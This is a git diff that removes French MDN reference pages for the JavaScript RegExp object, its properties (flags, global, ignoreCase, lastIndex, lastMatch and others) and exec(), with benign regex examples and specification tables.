Si on utilise le drapeau "g" dans l'expression rationnelle, on peut utiliser la méthode exec() plusieurs fois afin de trouver les correspondances successives dans la chaîne. Lorsqu'on procède ainsi, la recherche reprend à la position indiquée par la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} ({{jsxref("RegExp.prototype.test()", "test()")}} fera également progresser la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}}).

- -

On notera que la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} ne sera pas réinitialisée lors de la recherche sur une autre chaîne de caractères, c'est la valeur existante de {{jsxref("RegExp.lastIndex", "lastIndex")}} qui sera utilisée.

- -

Par exemple, si on utilise le fragment de code suivant :

- -
var maRegex = /ab*/g;
-var str = 'abbcdefabh';
-var monTableau;
-while ((monTableau = maRegex.exec(str)) !== null) {
-  var msg = 'Trouvé ' + monTableau[0] + '. ';
-  msg += 'Prochaine correspondance à partir de ' + maRegex.lastIndex;
-  console.log(msg);
-}
-
- -

Le script affichera alors :

- -
Trouvé abb. Prochaine correspondance à partir de 3
-Trouvé ab. Prochaine correspondance à partir de 9
-
- -
-

Attention à ne pas placer un littéral d'expression rationnelle (ou le constructeur {{jsxref("RegExp")}}) au sein de la condition while car cela créerait un boucle infinie s'il y a une correspondance car la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} serait redéfinie à chaque itération. Il faut également s'assurer que le drapeau global est défini sinon on aura également une boucle.

-
- -

Utiliser exec() avec des littéraux

- -

Il est aussi possible d'utiliser exec() sans créer d'objet {{jsxref("RegExp")}} explicite :

- -
var matches = /(coucou \S+)/.exec('Ceci est un coucou monde !');
-console.log(matches[1]);
-
- -

Cela affichera 'coucou monde !'.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.10.6.21', 'RegExp.exec')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-regexp.prototype.exec', 'RegExp.exec')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-regexp.prototype.exec', 'RegExp.exec')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.exec")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/flags/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/flags/index.html deleted file mode 100644 index c110c30d38..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/flags/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: RegExp.prototype.flags -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/flags -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Prototype - - Reference - - RegExp - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/flags ---- -
{{JSRef}}
- -

La propriété flags renvoie une chaîne de caractères contenant les drapeaux (flags) de l'objet {{jsxref("RegExp")}} auquel elle appartient.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-flags.html")}}
- - - -
{{js_property_attributes(0, 0, 1)}}
- -

Description

- -

Les drapeaux de la propriété flags sont rangés par ordre alphabétique de gauche à droite.

- -

Exemples

- -

Utiliser flags

- -
/toto/ig.flags;   // "gi"
-/truc/myu.flags;  // "muy"
-
- -

Prothèse d'émulation (polyfill)

- -
if (RegExp.prototype.flags === undefined) {
-  Object.defineProperty(RegExp.prototype, 'flags', {
-    configurable: true,
-    get: function() {
-      return this.toString().match(/[gimuy]*$/)[0];
-    }
-  });
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-get-regexp.prototype.flags', 'RegExp.prototype.flags')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.flags', 'RegExp.prototype.flags')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.flags")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RegExp.prototype.source")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/global/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/global/index.html deleted file mode 100644 index 3c9666e0bf..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/global/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: RegExp.prototype.global -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/global -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/global ---- -
{{JSRef}}
- -

La propriété global indique si le marqueur (flag) "g" est utilisé pour l'expression rationnelle. global est une propriété accessible en lecture seule pour une expression rationnelle donnée.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-global.html")}}
- - - -
{{js_property_attributes(0,0,1)}}
- -

Description

- -

La valeur de global est un booléen. Elle vaut true si le flag "g" a été utilisé, false sinon. Le flag "g" indique que l'expression rationnelle recherchera toutes les correspondances possibles d'une chaîne de caractères. Lorsqu'une expression rationnelle utilise à la fois les marqueurs global et sticky (respectivement "g" et "y"), elle ignorera le marqueur global.

- -

Cette propriété ne peut pas être modifiée directement.

- -

Exemples

- -
var regex = new RegExp("toto", "g");
-
-console.log(regex.global); // true
-
-var str = 'totoexempletoto';
-var str1 = str.replace(regex, '');
-
-console.log(str1);  // affichera "exemple" dans la console
-
-var regex1 = new RegExp('toto');
-var str2 = str.replace(regex1, '');
-
-console.log(str2);  // affichera "exempletoto" dans la console
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : global est une propriété d'une instance de {{jsxref("RegExp")}} et non une propriété de l'objet RegExp.
{{SpecName('ES5.1', '#sec-15.10.7.2', 'RegExp.prototype.global')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-get-regexp.prototype.global', 'RegExp.prototype.global')}}{{Spec2('ES6')}}global est désormais un accesseur lié au prototype plutôt qu'une propriété de données liée à l'instance.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.global', 'RegExp.prototype.global')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.global")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RegExp.prototype.ignoreCase")}}
    • -
  • {{jsxref("RegExp.prototype.lastIndex")}}
    • -
  • {{jsxref("RegExp.prototype.multiline")}}
    • -
  • {{jsxref("RegExp.prototype.source")}}
    • -
  • {{jsxref("RegExp.prototype.sticky")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/ignorecase/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/ignorecase/index.html deleted file mode 100644 index dfdf02cbad..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/ignorecase/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: RegExp.prototype.ignoreCase -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/ignoreCase -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase ---- -
{{JSRef}}
- -

La propriété ignoreCase indique si le drapeau (flag) "i" est utilisé ou non pour cette expression rationnelle. ignoreCase est une propriété accessible en lecture seule d'une instance d'expression rationnelle donnée.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-ignorecase.html")}}
- - - -
{{js_property_attributes(0,0,1)}}
- -

Description

- -

La valeur de ignoreCase est un booléen. Elle vaut true si le flag "i" a été utilisé et false sinon. Le drapeau "i" indique si la recherche de correspondances doit être sensible à la casse ou non.

- -

Cette propriété ne peut pas être modifiée directement.

- -

Exemples

- -
var regex = new RegExp("toto", "i");
-
-console.log(regex.ignoreCase); // true
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : ignoreCase est une propriété d'une instance de {{jsxref("RegExp")}} et pas une propriété de l'objet RegExp.
{{SpecName('ES5.1', '#sec-15.10.7.3', 'RegExp.prototype.ignoreCase')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-get-regexp.prototype.ignorecase', 'RegExp.prototype.ignoreCase')}}{{Spec2('ES6')}}ignoreCase est désormais une propriété du prototype sous forme d'accesseur plutôt qu'une propriété directe de l'instance.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.ignorecase', 'RegExp.prototype.ignoreCase')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.ignoreCase")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RegExp.prototype.global")}}
    • -
  • {{jsxref("RegExp.prototype.lastIndex")}}
    • -
  • {{jsxref("RegExp.prototype.multiline")}}
    • -
  • {{jsxref("RegExp.prototype.source")}}
    • -
  • {{jsxref("RegExp.prototype.sticky")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/index.html deleted file mode 100644 index 7ac6296f1f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/index.html +++ /dev/null @@ -1,243 +0,0 @@ ---- -title: RegExp -slug: Web/JavaScript/Reference/Objets_globaux/RegExp -tags: - - Constructeur - - Expressions rationnelles - - JavaScript - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp ---- -
{{JSRef}}
- -

Le constructeur RegExp crée un objet expression rationnelle pour la reconnaissance d'un modèle dans un texte.

- -

Pour une introduction aux expressions rationnelles, lire le chapitre Expressions rationnelles dans le Guide JavaScript.

- -
{{EmbedInteractiveExample("pages/js/regexp-constructor.html")}}
- - - -

Syntaxe

- -

Les notations littérales, par constructeur ou de base sont possibles :

- -
/modèle/marqueurs
-new RegExp(modèle[, marqueurs])
-RegExp(modèle[, marqueurs])
-
- -

Paramètres

- -
-
modèle
-
Le texte de l'expression rationnelle ou, à partir d'ES5, un autre objet ou littéral RegExp à copier. Ce motif peut inclure certains caractères spéciaux pour correspondre à un ensemble de valeurs plus large (qu'une simple chaîne littérale).
-
marqueurs
-
-

Si cet argument est utilisé, il indique les marqueurs à utiliser pour l'expression rationnelle. Ces valeurs remplaceront celles de l'objet à copier si modèle est un objet RegExp (lastIndex sera réinitialisé à 0 à partir d'ECMAScript 2015 / ES6). Cet argument est une chaîne de caractères qui peut contenir une combinaison des valeurs suivantes:

- -
-
g
-
recherche globale ; retrouve toutes les correspondances plutôt que de s'arrêter après la première.
-
i
-
la casse est ignorée. Si le marqueur u est également activé, les caractères Unicode équivalents pour la casse correspondent.
-
m
-
multiligne : les caractères de début et de fin (^ et $) sont traités comme travaillant sur des lignes multiples (i.e, ils correspondent au début et à la fin de chaque ligne (délimitée par \n ou \r), pas seulement au début ou à la fin de la chaîne d'entrée complète).
-
u
-
unicode : traite le modèle comme une séquence de points de code Unicode (voir également les chaînes binaires).
-
y
-
adhérence : n'établit de correspondance qu'à partir de l'indice dans la chaîne cible indiqué par la propriété lastIndex de l'expression rationnelle (et ne cherche pas à établir de correspondance à partir d'indices au delà).
-
s
-
"dotAll" : permet d'indiquer que . peut correspondre à un saut de ligne.
-
-
-
- -

Description

- -

Il existe deux façons de créer un objet RegExp : une notation littérale ou un constructeur. La notation littérale est délimitée par des barres obliques (slashes) tandis que le constructeur utilise des apostrophes. Ainsi, les expressions suivantes créent la même expression rationnelle :

- -
/ab+c/i;                   // notation littérale
-new RegExp('ab+c', 'i');   // constructeur
-new RegExp(/ab+c/, 'i');   // notation littérale dans un constructeur
-
- -

La notation littérale effectue la compilation de l'expression rationnelle lorsque l'expression est évaluée. Utilisez la notation littérale lorsque l'expression rationnelle reste constante. Par exemple, si vous utilisez la notation littérale pour construire une expression rationnelle utilisée dans une boucle, l'expression rationnelle ne sera pas recompilée à chaque itération.

- -

Le constructeur de l'objet expression rationnelle, par exemple new RegExp('ab+c'), effectue la compilation de l'expression rationnelle au moment de l'exécution. Utilisez la fonction constructeur quand vous savez que le modèle d'une expression rationnelle sera variable, ou si vous ne connaissez pas le modèle et que vous l'obtiendrez d'une autre source, telle qu'une saisie utilisateur.

- -

À partir d'ECMAScript 6, new RegExp(/ab+c/, 'i') ne déclenche plus d'exception {{jsxref("TypeError")}} ("can't supply flags when constructing one RegExp from another") lorsque le premier argument est une RegExp et que le second argument marqueurs est présent. Une nouvelle RegExp sera créée à la place à partir des arguments.

- -

Lorsqu'on utilise le constructeur, les règles normales d'échappement de chaîne (le fait de faire précéder d'un \ les caractères spéciaux à l'intérieur d'une chaîne) sont requises. Par exemple, les définitions suivantes sont équivalentes :

- -
var re = /\w+/;
-var re = new RegExp('\\w+');
-
- -

Propriétés

- -
-
{{jsxref("RegExp.prototype")}}
-
Cette propriété permet d'ajouter des propriétés à tous les objets qui sont des expressions rationnelles.
-
RegExp.length
-
La valeur de longueur pour le constructeur dont la valeur est 2.
-
{{jsxref("RegExp.@@species", "get RegExp[@@species]")}}
-
La fonction de construction utilisée pour créer les objets dérivés.
-
{{jsxref("RegExp.lastIndex")}}
-
L'indice à partir duquel rechercher la prochaine correspondance.
-
- -

Méthodes

- -

L'objet global RegExp ne possède pas de méthode propre. En revanche, il hérite de certaines méthodes via sa chaîne de prototypes.

- -

Le prototype de RegExp et les instances

- -

Propriétés

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/RegExp/prototype', 'Propriétés')}}
- -

Méthodes

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/RegExp/prototype', 'Méthodes')}}
- -

Exemples

- -

Utiliser une expression rationnelle pour modifier un format de données

- -

Dans le script suivant, on utilise la méthode {{jsxref("String.prototype.replace()", "replace()")}} de {{jsxref("String")}} pour effectuer une correspondance sur le prénom et le nom pour les inverser. On utilise des parenthèses capturantes pour pouvoir utiliser les correspondances dans la construction du résultat (avec $1 et $2).

- -
var re = /(\w+)\s(\w+)/;
-var chaîne = 'Alain Dupont';
-var nouvelleChaîne = chaîne.replace(re, '$2, $1');
-console.log(nouvelleChaîne);
-
- -

Cela affichera "Dupont, Alain".

- -

Utiliser une expression rationnelle pour découper des lignes avec différents sauts de ligne/fins de ligne

- -

La fin de ligne par défaut dépend de la plateforme (Unix, Windows, etc.). Cette méthode de découpage fournie permet de découper indépendamment de la plateforme utilisée.

- -
var texte = 'Un texte\net un autre\r\npuis ensuite\rla fin';
-var lignes = texte.split(/\r\n|\r|\n/);
-console.log(lignes); // affiche [ 'Un texte', 'et un autre', 'puis ensuite', 'la fin' ]
-
- -

On voit ici que l'ordre des modèles dans l'expression rationnelle importe.

- -

Utiliser une expression rationnelle sur plusieurs lignes

- -
var s = 'Et voici\nune autre ligne !';
-s.match(/voici.*ligne/);
-// Renvoie null
-s.match(/voici[^]*ligne/);
-// Renvoie ['voici\nune autre ligne']
-
- -

Utiliser une expression rationnelle avec le marqueur d'adhérence

- -

Cet exemple illustre comment on peut utiliser ce marqueur qui recherche une correspondance après {{jsxref("RegExp.prototype.lastIndex")}}.

- -
var str = '#toto#';
-var regex = /toto/y;
-
-regex.lastIndex; // 0
-regex.test(str); // true
-regex.lastIndex = 1;
-regex.test(str); // true
-regex.lastIndex = 5;
-regex.test(str); // false (lastIndex est pris en compte avec ce marqueur)
-regex.lastIndex; // 0 (réinitialisation suite à l'échec)
- -

Les expressions rationnelles et les caractères Unicode

- -

Comme mentionné ci-avant, les classes \w ou \W ne correspondent qu'à des caractères ASCII "a" à "z", "A" à "Z", "0" à "9" et "_". Pour effectuer des correspondances sur d'autres caractères (comme par exemple les caractères cyrilliques), on utilisera \uhhhh, où "hhhh" représente la valeur Unicode exprimée en hexadécimal. Cet exemple illustre comment il est possible de séparer les caractères Unicode d'un mot.

- -
var texte = 'Образец text на русском языке';
-var regex = /[\u0400-\u04FF]+/g;
-
-var corresp = regex.exec(texte);
-console.log(corresp[0]);      // affiche 'Образец'
-console.log(regex.lastIndex); // affiche '7'
-
-var corresp2 = regex.exec(texte);
-console.log(corresp2[0]);     // affiche 'на' (n'affiche pas text
-console.log(regex.lastIndex); // affiche '15'
-
-// et ainsi de suite
-
- -

Voici une ressource tierce pour obtenir les différents intervalles Unicode des différents alphabets : Regexp-unicode-block.

- -

Extraire un sous-domaine d'une URL

- -
var url = 'http://xxx.domaine.com';
-console.log(/[^.]+/.exec(url)[0].substr(7)); // affiche 'xxx'
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.10', 'RegExp')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-regexp-regular-expression-objects', 'RegExp')}}{{Spec2('ES6')}} -

Le constructeur RegExp ne renvoie plus d'exception lorsqu'il est utilisé avec un objet RegExp et que le second argument est utilisé. Ajout du marqueur d'adhérence et du marqueur Unicode.

-
{{SpecName('ESDraft', '#sec-regexp-regular-expression-objects', 'RegExp')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp")}}

- -

Notes spécifiques à Firefox

- -

À partir de Firefox 34, dans le cas où on utilise un groupe capturant avec des quantificateurs qui l'invalident, le texte correspondant au groupe est désormais undefined et non la chaîne vide :

- -
// Firefox 33 ou antérieur
-'x'.replace(/x(.)?/g, function(m, group) {
-  console.log("'group:" + group + "'");
-}); // 'group:'
-
-// Firefox 34 ou supérieur
-'x'.replace(/x(.)?/g, function(m, group) {
-  console.log("'group:" + group + "'");
-}); // 'group:undefined'
-
- -

Pour des raisons de compatibilité web, RegExp.$N renverra une chaîne vide au lieu de undefined ({{bug(1053944)}}).

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/input/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/input/index.html deleted file mode 100644 index 14a14258a9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/input/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: RegExp.input ($_) -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/input -tags: - - JavaScript - - Non-standard - - Propriété - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/input ---- -
{{JSRef}} {{non-standard_header}}
- -

La propriété non-standard input est une propriété statique de l'expression rationnelle qui contient la chaîne de caractères sur laquelle est effectuée la recherche de correspondances. RegExp.$_ est un alias de cette propriété.

- -

Syntaxe

- -
RegExp.input
-RegExp.$_
-
- -

Description

- -

La propriété input est statique. Ce n'est pas la propriété d'une instance d'expression rationnelle. Cette propriété doit toujours être utilisée avec la syntaxe RegExp.input ou RegExp.$_.

- -

La valeur de la propriété input est modifiée à chaque fois que la chaîne sur laquelle on recherche est modifiée et qu'il y a une correspondance.

- -

Exemples

- -

Utiliser input et $_

- -
var re = /coucou/g;
-re.test("coucou toi !");
-RegExp.input;         // "coucou toi !"
-re.test("toto");      // nouveau test, pas de correspondance
-RegExp.$_;            // "coucou toi !"
-re.test("coucou monde !"); // nouveau test avec correspondance
-RegExp.$_;            // "coucou monde !"
-
- -

Spécifications

- -

Cette propriété n'est pas standard. Elle ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.input")}}

- -

Voir aussi

- -
    -
  • {{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/lastindex/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/lastindex/index.html deleted file mode 100644 index 21c024c57a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/lastindex/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: regExp.lastIndex -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/lastIndex -tags: - - JavaScript - - Propriété - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex ---- -
{{JSRef}}
- -

La propriété lastIndex est un entier en lecture/écriture qui permet de définir l'indice (position) à partir duquel chercher la prochaine correspondance pour une instance d'expression rationnelle donnée.

- -
{{EmbedInteractiveExample("pages/js/regexp-lastindex.html")}}
- - - -
{{js_property_attributes(1,0,0)}}
- -

Syntaxe

- -
regExpObj.lastIndex
-
- -

Description

- -

Cette propriété n'est définie que si l'instance d'expression rationnelle utilise le marqueur (flag) "g" pour effectuer une recherche globale ou le marqueur "y" afin d'effectuer une recherche adhérente. Les règles suivantes s'appliquent :

- -
    -
  • Si lastIndex est supérieur à la longueur de la chaîne de caractères, regexp.test et regexp.exec échoueront et lastIndex sera redéfini à 0.
    • -
  • Si lastIndex est égal à la longueur de la chaîne de caractères et si l'expression rationnelle correspond avec la chaîne vide, il y aura une correspondance à partir de lastIndex.
    • -
  • Si lastIndex est égal à la longueur de la chaîne de caractères et que l'expression rationnelle ne peut correspondre à la chaîne vide, on n'aura pas de correspondance et lastIndex sera réinitialisé à 0.
    • -
  • Sinon, lastIndex sera défini à la position suivant la correspondance la plus récente.
    • -
- -

Exemples

- -

Si on a la séquence d'instructions suivante :

- -
var re = /(hi)?/g;
-
- -

Correspond à la chaîne vide.

- -
console.log(re.exec('hi'));
-console.log(re.lastIndex);
-
- -

Renvoie ["hi", "hi"] avec lastIndex égal à 2.

- -
console.log(re.exec('hi'));
-console.log(re.lastIndex);
-
- -

Renvoie ["", undefined], un tableau dont le premier élément est la chaîne vide car lastIndex valait 2 (et vaut toujours 2) et "hi" était de longueur 2.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. JavaScript 1.5 : lastIndex est une propriété d'une instance de RegExp et n'est pas une propriété directe de RegExp.
{{SpecName('ES5.1', '#sec-15.10.7.5', 'RegExp.lastIndex')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-regexp-instances', 'RegExp.lastIndex')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-properties-of-regexp-instances', 'RegExp.lastIndex')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.lastIndex")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RegExp.prototype.ignoreCase")}}
    • -
  • {{jsxref("RegExp.prototype.global")}}
    • -
  • {{jsxref("RegExp.prototype.multiline")}}
    • -
  • {{jsxref("RegExp.prototype.source")}}
    • -
  • {{jsxref("RegExp.prototype.sticky")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/lastmatch/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/lastmatch/index.html deleted file mode 100644 index 08669d885b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/lastmatch/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: RegExp.lastMatch ($&) -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/lastMatch -tags: - - JavaScript - - Non-standard - - Propriété - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch ---- -
{{JSRef}} {{non-standard_header}}
- -

La propriété non-standard lastMatch est une propriété statique en lecture seule pour les expressions rationnelles qui contient les caractères de la dernière correspondance. RegExp.$& est un alias pour cette propriété.

- -

Syntaxe

- -
RegExp.lastMatch
-RegExp['$&']
-
- -

Description

- -

La propriété lastMatch est une propriété statique, ce n'est pas une propriété pour chaque objet qui représente une expression rationnelle. Cette propriété doit donc toujours être utilisée avec la syntaxe RegExp.lastMatch ou RegExp['$&'].

- -

La valeur de la propriété lastMatch n'est accessible qu'en lecture seule et est modifiée à chaque fois qu'une correspondance est trouvée.

- -

Il n'est pas possible d'utiliser l'alias avec la notation utilisant le point pour accéder à la propriété (RegExp.$&) car le parseur attend une expression avec "&" dans ce cas, ce qui provoque une exception {{jsxref("SyntaxError")}}. Pour utiliser l'alias, on prendra donc la notation utilisant les crochets.

- -

Exemples

- -

Utiliser lastMatch et $&

- -
var re = /coucou/g;
-re.test("coucou toi!");
-RegExp.lastMatch; // "coucou"
-RegExp['$&'];     // "coucou"
-
- -

Spécifications

- -

Cette propriété n'est pas standard. Elle ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.lastMatch")}}

- -

Voir aussi

- -
    -
  • {{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/lastparen/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/lastparen/index.html deleted file mode 100644 index da607ed4bc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/lastparen/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: RegExp.lastParen ($+) -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/lastParen -tags: - - JavaScript - - Propriété - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastParen ---- -
{{JSRef}} {{non-standard_header}}
- -

La propriété lastParen est une propriété statique accessible en lecture seule qui contient la dernière correspondance enregistrée dans un groupe (entre parenthèse) si jamais elle existe. RegExp.$+ est un alias pour cette propriété.

- -

Syntaxe

- -
RegExp.lastParen
-RegExp['$+']
-
- -

Description

- -

La propriété lastParen est une propriété statique, ce n'est pas une propriété liée à chaque objet. Il faut donc toujours utiliser la syntaxe RegExp.lastParen ou RegExp['$+'].

- -

La valeur de la propriété lastParen n'est accessible qu'en lecture seule et est modifiée automatiquement à chaque fois qu'il y a une correspondance.

- -

Cet alias ne peut pas être utilisé avec la notation utilisant le point pour l'accès aux propriétés (RegExp.$+). En effet, le parseur attend une expression avec "+", dans ce cas, une exception {{jsxref("SyntaxError")}} est levée. Pour utiliser cette notation raccourcie, on utilisera la notation avec les crochets.

- -

Exemples

- -

Utiliser lastParen et $+

- -
var re = /(coucou)/g;
-re.test("coucou toi !");
-RegExp.lastParen; // "coucou"
-RegExp['$+'];     // "coucou"
-
- -

Spécifications

- -

Cette propriété n'est pas standard. Elle ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.lastParen")}}

- -

Voir aussi

- -
    -
  • {{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/leftcontext/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/leftcontext/index.html deleted file mode 100644 index e886719276..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/leftcontext/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: RegExp.leftContext ($`) -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/leftContext -tags: - - JavaScript - - Non-standard - - Propriété - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/leftContext ---- -
{{JSRef}} {{non-standard_header}}
- -

La propriété non-standard leftContext est une propriété statique accessible uniquement en lecture. Cette propriété liée aux expressions rationnelles contient la sous-chaîne qui précède la correspondance la plus récente. RegExp.$` est un alias pour cette propriété.

- -

Syntaxe

- -
RegExp.leftContext
-RegExp['$`']
-
- -

Description

- -

La propriété leftContext est une propriété statique, elle n'est donc pas distincte entre les différents objets représentants les expressions rationnelles. Il faut donc toujours utiliser la syntaxe RegExp.leftContext ou RegExp['$`'].

- -

La valeur de la propriété leftContext n'est accessible uniquement qu'en lecture. Elle est modifiée par le moteur à chaque fois qu'une nouvelle correspondance est trouvée.

- -

L'alias ne peut pas être utilisé avec la notation utilisant le point (RegExp.$`). En effet, le parseur attend un gabarit de chaîne à la suite de l'accent grave. Si on utilise le point, on aura donc une exception {{jsxref("SyntaxError")}}. Pour cet alias, on utilisera la notation à base de crochets.

- -

Exemples

- -
var re = /monde/g;
-re.test("coucou monde !");
-RegExp.leftContext; // "coucou "
-RegExp['$`'];       // "coucou "
-
- -

Spécifications

- -

Cette propriété n'est pas standard et ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- - - -

